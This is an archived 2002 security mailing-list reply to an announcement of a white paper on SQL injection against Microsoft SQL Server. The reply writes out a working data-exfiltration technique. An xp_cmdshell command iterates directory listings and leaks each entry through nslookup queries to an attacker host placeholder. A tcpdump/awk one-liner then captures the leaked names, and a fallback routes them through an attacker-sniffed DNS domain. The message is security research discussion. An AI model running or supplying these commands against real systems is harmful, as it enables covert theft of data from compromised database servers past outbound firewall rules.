Hi.

Nice paper :> We have found that outgoing connections are almost always
blocked (especially from SQL servers that are a little deeper in the DMZ
than the 'net facing webservers). (DNS requests often slip by)

If you can execute commands remotely (through ur xp_ of choice) then you
can use batch commands to throw together a simple DNS tunnel.

Example..
-snip-
exec master..xp_cmdshell 'for /F "usebackq tokens=1,2,3,4*" %i in (`dir
c:\*.`) do (nslookup %l. YOUR_IP_HERE)'

Running a sniffer on host YOUR_IP_HERE (with an awk / split or two)

Wh00t:~# tcpdump -l dst YOUR_IP_HERE and port 53 | awk '{print $7}'

.
WINNT.
tools.
bytes

-snip-

If outgoing dns isnt allowed directly, you can still have some joy
requesting %variable.DOMAIN_U_CAN_SNIFF.com and letting it follow its DNS
path..

======================================================================
Haroon Meer MH
SensePost Information Security +27 83786 6637
PGP : http://www.sensepost.com/pgp/haroon.txt haroonsensepost.com
======================================================================

On Wed, 28 Aug 2002, Aaron C. Newman wrote:

> Hi All,
>
> I just posted a short white paper on Microsoft SQL Server and SQL
> Injection titled "Manipulating Microsoft SQL Server Using SQL Injection"
> at:
>
> http://www.appsecinc.com/news/briefing.html#inject14
>
> The paper was written and researched by Cesar Cerrudo
> (sqlsecyahoo.com).
>
> All comments are welcome.
>
> Regards,
> Aaron
> _______________________________
> Aaron C. Newman
> anewmanappsecinc.com
> CTO/Founder
> Application Security, Inc.
> www.appsecinc.com
> Phone: 212-490-6022
> Fax: 212-490-6456
> - Protection Where It Counts -
>
>
>
>

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]